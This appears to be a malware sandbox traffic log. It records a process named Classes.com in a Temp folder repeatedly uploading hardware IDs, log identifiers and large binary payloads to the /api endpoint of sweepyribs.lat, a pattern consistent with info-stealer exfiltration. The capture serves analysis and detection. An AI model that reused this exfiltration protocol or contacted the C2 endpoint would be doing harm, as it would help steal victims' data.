                                                                                                                                                                                                                                                                        2024-12-17 17:54:14 UTC15331OUTData Raw: 2d 2d 52 4b 44 53 56 5a 43 53 38 37 44 35 31 42 57 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 36 43 45 38 32 46 37 42 44 31 31 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 4b 44 53 56 5a 43 53 38 37 44 35 31 42 57 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 4b 44 53 56 5a 43 53 38 37 44 35 31 42 57 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 66 62 61 64 73 74 65 73
                                                                                                                                                                                                                                                                        Data Ascii: --RKDSVZCS87D51BWYPContent-Disposition: form-data; name="hwid"316CE82F7BD11A41AC8923850305D13E--RKDSVZCS87D51BWYPContent-Disposition: form-data; name="pid"2--RKDSVZCS87D51BWYPContent-Disposition: form-data; name="lid"LOGS11--fbadstes
                                                                                                                                                                                                                                                                        2024-12-17 17:54:14 UTC2830OUTData Raw: 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73
                                                                                                                                                                                                                                                                        Data Ascii: jf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{s
                                                                                                                                                                                                                                                                        2024-12-17 17:54:16 UTC1043INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:16 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=cpvlu4kmbnsm6ed3q3alf46v7u; expires=Sat, 12-Apr-2025 11:40:54 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rd1TJ4diyRf47qnQHvEFLqQStOJKB5yWTnlSfFwGUS8icHo3Clp%2BMbKJMlKm7hkPJVdliq1s7W2GrJ%2BsLEaz3LbhHdc70tEFa%2FB648xZPkTNv6zkP%2BFQA165qyVeD4IehQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c6fda9ef41e7-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1644&rtt_var=639&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2832&recv_bytes=19120&delivery_rate=1681059&cwnd=202&unsent_bytes=0&cid=c7651906ca8bf7b7&ts=1228&x=0"
                                                                                                                                                                                                                                                                        2024-12-17 17:54:16 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.189


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        6192.168.2.449914104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:17 UTC274OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=YBG26UIIFUZ06
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 8758
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
                                                                                                                                                                                                                                                                        2024-12-17 17:54:17 UTC8758OUTData Raw: 2d 2d 59 42 47 32 36 55 49 49 46 55 5a 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 36 43 45 38 32 46 37 42 44 31 31 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 42 47 32 36 55 49 49 46 55 5a 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 42 47 32 36 55 49 49 46 55 5a 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 66 62 61 64 73 74 65 73 74 0d 0a 2d 2d 59 42 47 32 36 55 49
                                                                                                                                                                                                                                                                        Data Ascii: --YBG26UIIFUZ06Content-Disposition: form-data; name="hwid"316CE82F7BD11A41AC8923850305D13E--YBG26UIIFUZ06Content-Disposition: form-data; name="pid"2--YBG26UIIFUZ06Content-Disposition: form-data; name="lid"LOGS11--fbadstest--YBG26UI
                                                                                                                                                                                                                                                                        2024-12-17 17:54:18 UTC1043INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:18 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=eir9l7acbg16gvnl74vdhpmtsn; expires=Sat, 12-Apr-2025 11:40:56 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5C3GNHea1DA3U%2FEOjc1IUT9s61cdwUdA9JsNLXjxfYrGmO9U8D8Z4zeP76n%2BpbDiBtR%2BcgwW%2BIS23JBYCB3lmGQFRliA51jBx8n8Sr2ECvN4QxaxoBAftnPuUGxc930%2BCg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c70c1a2f7277-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=2037&min_rtt=1865&rtt_var=1045&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2833&recv_bytes=9690&delivery_rate=899014&cwnd=225&unsent_bytes=0&cid=716d20ec4be7536e&ts=1297&x=0"
                                                                                                                                                                                                                                                                        2024-12-17 17:54:18 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                                        2024-12-17 17:54:18 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        7192.168.2.449921104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:20 UTC279OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=8QF08OU101QW06SVW
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 20435
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
                                                                                                                                                                                                                                                                        2024-12-17 17:54:20 UTC15331OUTData Raw: 2d 2d 38 51 46 30 38 4f 55 31 30 31 51 57 30 36 53 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 36 43 45 38 32 46 37 42 44 31 31 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 38 51 46 30 38 4f 55 31 30 31 51 57 30 36 53 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 38 51 46 30 38 4f 55 31 30 31 51 57 30 36 53 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 66 62 61 64 73 74 65 73
                                                                                                                                                                                                                                                                        Data Ascii: --8QF08OU101QW06SVWContent-Disposition: form-data; name="hwid"316CE82F7BD11A41AC8923850305D13E--8QF08OU101QW06SVWContent-Disposition: form-data; name="pid"3--8QF08OU101QW06SVWContent-Disposition: form-data; name="lid"LOGS11--fbadstes
                                                                                                                                                                                                                                                                        2024-12-17 17:54:20 UTC5104OUTData Raw: 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00
                                                                                                                                                                                                                                                                        Data Ascii: `M?lrQMn 64F6(X&7~`aO
                                                                                                                                                                                                                                                                        2024-12-17 17:54:20 UTC1040INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:20 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=805pv0k3skige1bebe7t4jhj6m; expires=Sat, 12-Apr-2025 11:40:59 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vl82xgso%2Bdym3L2%2BWmyXoemeLR%2Fq9x2calzOQ6klSs83c5YM2oZKxclo3blc5Tl4Yp1vNNuC5tTo0B00YppB3dkcWnWYZXCwoksak34esfF9oCVtePsFSk76jDoU0fVYJg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c71c5a3d8cda-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1817&rtt_var=686&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21394&delivery_rate=1588683&cwnd=242&unsent_bytes=0&cid=e3f6508b789b7dc0&ts=774&x=0"
                                                                                                                                                                                                                                                                        2024-12-17 17:54:20 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                                        2024-12-17 17:54:20 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        8192.168.2.449927104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:22 UTC275OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=7ZM8GYEHXB27II
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 1282
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
                                                                                                                                                                                                                                                                        2024-12-17 17:54:22 UTC1282OUTData Raw: 2d 2d 37 5a 4d 38 47 59 45 48 58 42 32 37 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 36 43 45 38 32 46 37 42 44 31 31 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 5a 4d 38 47 59 45 48 58 42 32 37 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 5a 4d 38 47 59 45 48 58 42 32 37 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 66 62 61 64 73 74 65 73 74 0d 0a 2d 2d 37 5a 4d 38
                                                                                                                                                                                                                                                                        Data Ascii: --7ZM8GYEHXB27IIContent-Disposition: form-data; name="hwid"316CE82F7BD11A41AC8923850305D13E--7ZM8GYEHXB27IIContent-Disposition: form-data; name="pid"1--7ZM8GYEHXB27IIContent-Disposition: form-data; name="lid"LOGS11--fbadstest--7ZM8
                                                                                                                                                                                                                                                                        2024-12-17 17:54:22 UTC1033INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:22 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=icuovo9fvo9l286u1ljnhtcirf; expires=Sat, 12-Apr-2025 11:41:01 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IxhQXe7M5fT%2FjU7V9lxwWJmP49LDTVm3ZjWY1BO1rTOabd9tXM054SzPDfUSyhdlbvZQYwrRoexKQUOyDgeGqEO3RGq3zx8KwWiPhWwxtUAc1HRvxldxT7VWYGydtdLyUw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c72a58d48c54-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1824&min_rtt=1824&rtt_var=685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2193&delivery_rate=1594756&cwnd=184&unsent_bytes=0&cid=53ef9077791169e5&ts=747&x=0"
                                                                                                                                                                                                                                                                        2024-12-17 17:54:22 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                                        2024-12-17 17:54:22 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        9192.168.2.449933104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC280OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=EN7F7H24EKPWIGQQY
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 591022
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 2d 2d 45 4e 37 46 37 48 32 34 45 4b 50 57 49 47 51 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 36 43 45 38 32 46 37 42 44 31 31 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 4e 37 46 37 48 32 34 45 4b 50 57 49 47 51 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 4e 37 46 37 48 32 34 45 4b 50 57 49 47 51 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 66 62 61 64 73 74 65 73
                                                                                                                                                                                                                                                                        Data Ascii: --EN7F7H24EKPWIGQQYContent-Disposition: form-data; name="hwid"316CE82F7BD11A41AC8923850305D13E--EN7F7H24EKPWIGQQYContent-Disposition: form-data; name="pid"1--EN7F7H24EKPWIGQQYContent-Disposition: form-data; name="lid"LOGS11--fbadstes
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 8e 9a d4 61 a0 3e cc b5 0d 7a 24 31 06 b8 2d 95 1b 6d 55 73 5b cd 7f 30 d7 e3 90 cd 7d ff 86 bc 00 0b 44 02 d8 8d db 34 95 46 3b b4 03 56 cc d9 ec ab b4 8b c0 46 2b 6a 65 3f f4 18 f5 4e 3b b3 f3 89 4b ac 0a d2 eb aa df fe bf 0d 46 c8 e5 1a a0 7f 68 05 33 38 10 63 42 cd 65 23 05 27 08 44 98 86 b5 c6 68 ac 47 3c 2b 8f e2 29 82 da dc 4d 09 3c 18 09 6f f1 50 ec db 2c 21 e6 41 c9 6e 01 60 93 98 6e ef 86 03 8d 72 0b 57 4c d0 51 22 cf ed 4b 20 59 65 98 2a b2 5d a4 41 f3 de f8 94 12 12 fb c5 98 25 d4 21 49 77 d8 84 22 07 07 e2 5f fe 1e 57 e6 4e 68 c6 51 2b cd 64 d4 fb 61 e9 ae 22 60 e9 c2 9d 2c 2a c6 14 9e c7 cc 51 52 b7 1a 7d 9d e5 d8 75 0e 84 4d e2 8a 5c f5 46 9d c9 88 8f ad 34 95 cc cc c0 c2 e2 cb 1a 53 6f 97 80 f7 1e 9a 16 da 9f 0f 4c fe 44 2f 6c 10 02 8c 1e
                                                                                                                                                                                                                                                                        Data Ascii: a>z$1-mUs[0}D4F;VF+je?N;KFh38cBe#'DhG<+)M<oP,!An`nrWLQ"K Ye*]A%!Iw"_WNhQ+da"`,*QR}uM\F4SoLD/l
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 25 96 3b 2e cb 05 3d 78 16 6f c6 66 21 e9 91 62 db 74 eb 18 ea 3b 6f 76 1c d5 16 ec 98 0b 88 6a fc 87 a0 bf 6d bd 50 73 09 d6 d0 90 3e 19 29 3f 52 1d 03 96 52 68 c4 61 e9 a1 74 b3 bb 32 47 e1 35 e3 50 b3 58 a2 27 8e 8c 59 d0 b9 de f8 49 6f 26 4c a9 cd 0c f6 6f 31 8a 5a f9 8e 8d f2 f4 de f0 18 20 d9 33 7e 8a 9e b4 76 95 09 f2 de 43 9e 1b 7a 1a 41 fe 29 60 e7 c9 af 9a ad b4 91 e1 69 31 be 3d 64 fc d2 d2 22 c4 51 00 7f 80 f3 5c 72 fb d4 ab e6 2f 72 0c d8 df 6b be a7 27 68 6a e6 5c 64 c6 dc 47 4d 24 de 9f 94 ee f8 1d 8f 22 36 3f ab fe b9 de 24 c5 50 e6 b4 dd 21 9a 05 fe 58 6b 3c 4b 40 d5 fe 65 db fc 55 b1 3e 70 2f 7b 38 d5 69 95 34 d2 80 1a bb 0c 2c a2 a9 f8 19 fc b2 e4 af 22 e2 19 27 fb 19 f9 21 85 34 2b 6a 36 1c 3f 18 cd 7a e0 41 53 41 d5 18 45 78 5f f5 dc
                                                                                                                                                                                                                                                                        Data Ascii: %;.=xof!bt;ovjmPs>)?RRhat2G5PX'YIo&Lo1Z 3~vCzA)`i1=d"Q\r/rk'hj\dGM$"6?$P!Xk<K@eU>p/{8i4,"'!4+j6?zASAEx_
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 9b 8b 0b 55 64 c7 b4 67 a8 e6 27 70 4a 69 8f 00 5b a8 7a 4e c2 ab 17 e0 4e ea 80 f5 db 9b af 2e 6e 30 8d 16 04 c0 dd 80 92 83 1f fa 15 38 38 a8 fd 30 9c 42 eb 6b 8d 48 f7 79 e8 d8 9b 95 d9 b9 5b d6 c3 d2 c2 ad 67 bc 99 0e 9c 47 82 df 55 63 46 9d 47 fe 51 aa 64 af 4f 5d 9a c3 fa 0c d2 6e b6 0e 99 3d 38 cc bd bb 57 20 4f 17 81 7d 64 44 e2 3a 5f 66 a8 7d 90 3b ca 81 b1 d3 20 5b 77 c8 ff 9a 30 58 38 2b 08 96 c3 d8 3b 81 43 9f b8 9d 31 44 d0 cf 61 d5 ec f3 f5 7b 03 ce 62 a6 eb 07 84 1c 23 2c 37 42 76 3d 04 13 3b 8e 0d e1 58 17 33 fe b5 fb 4a e5 30 e9 ab ac cf a4 8e 5e bb ec f8 47 c2 ec 60 e8 6b 22 79 d2 5f 3a b6 22 fa 00 aa 78 d6 3f d6 4d de e0 c7 9e b7 26 f8 c2 30 6b 65 90 4c d6 56 be f9 4f c6 1b 69 89 57 b9 8f 46 9b 59 cf e2 da ef e8 7d 42 e5 9d 90 2f 92 68
                                                                                                                                                                                                                                                                        Data Ascii: Udg'pJi[zNN.n0880BkHy[gGUcFGQdO]n=8W O}dD:_f}; [w0X8+;C1Da{b#,7Bv=;X3J0^G`k"y_:"x?M&0keLVOiWFY}B/h
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 69 f6 af 9b 04 77 a2 89 b4 5c 28 d2 c3 7f dd 11 97 b7 f4 a3 de 24 e6 16 86 bb db d1 33 2d 6a fa e0 d9 6c 8f 8c 70 0e c7 17 07 17 3c f3 97 2f e9 ef 88 22 3f 76 45 15 1a 67 30 f2 ae e0 ee 24 ee ce ec 89 5e 6a 03 40 40 16 0a 43 45 e4 c2 00 6f 46 8c de 8f 46 10 99 0c 27 88 b9 e1 64 23 7e bc af ff b5 5f 16 22 df 10 ec d9 fa 5f 11 f2 ff ba 29 e3 38 47 79 9a 03 a0 7c 93 87 9d e7 ce e6 b4 53 50 2c f2 e7 07 0f 67 ca 6e e6 f9 10 29 b5 0f 5b 33 af f1 82 c3 ea 7c 30 02 64 5c 5f d3 21 fd d7 7e 48 88 c5 63 b9 8e 6e b7 fa cd 49 6d 6d 3e fe f6 a0 ce aa e4 4c 50 9e d0 28 16 9c 85 ec b9 80 d9 2a 42 cb e5 86 0c a4 4c 2f 22 ed c3 f9 23 84 a7 ae f9 a9 01 67 f4 ca b5 89 de 4a e4 96 fc 1c 0a 74 e9 45 0c 8d 0f 90 db 2f 66 36 46 08 8d 9d be 92 06 49 09 1e 81 73 2c 8c 3e 23 e9 8a
                                                                                                                                                                                                                                                                        Data Ascii: iw\($3-jlp</"?vEg0$^j@@CEoFF'd#~_"_)8Gy|SP,gn)[3|0d\_!~HcnImm>LP(*BL/"#gJtE/f6FIs,>#
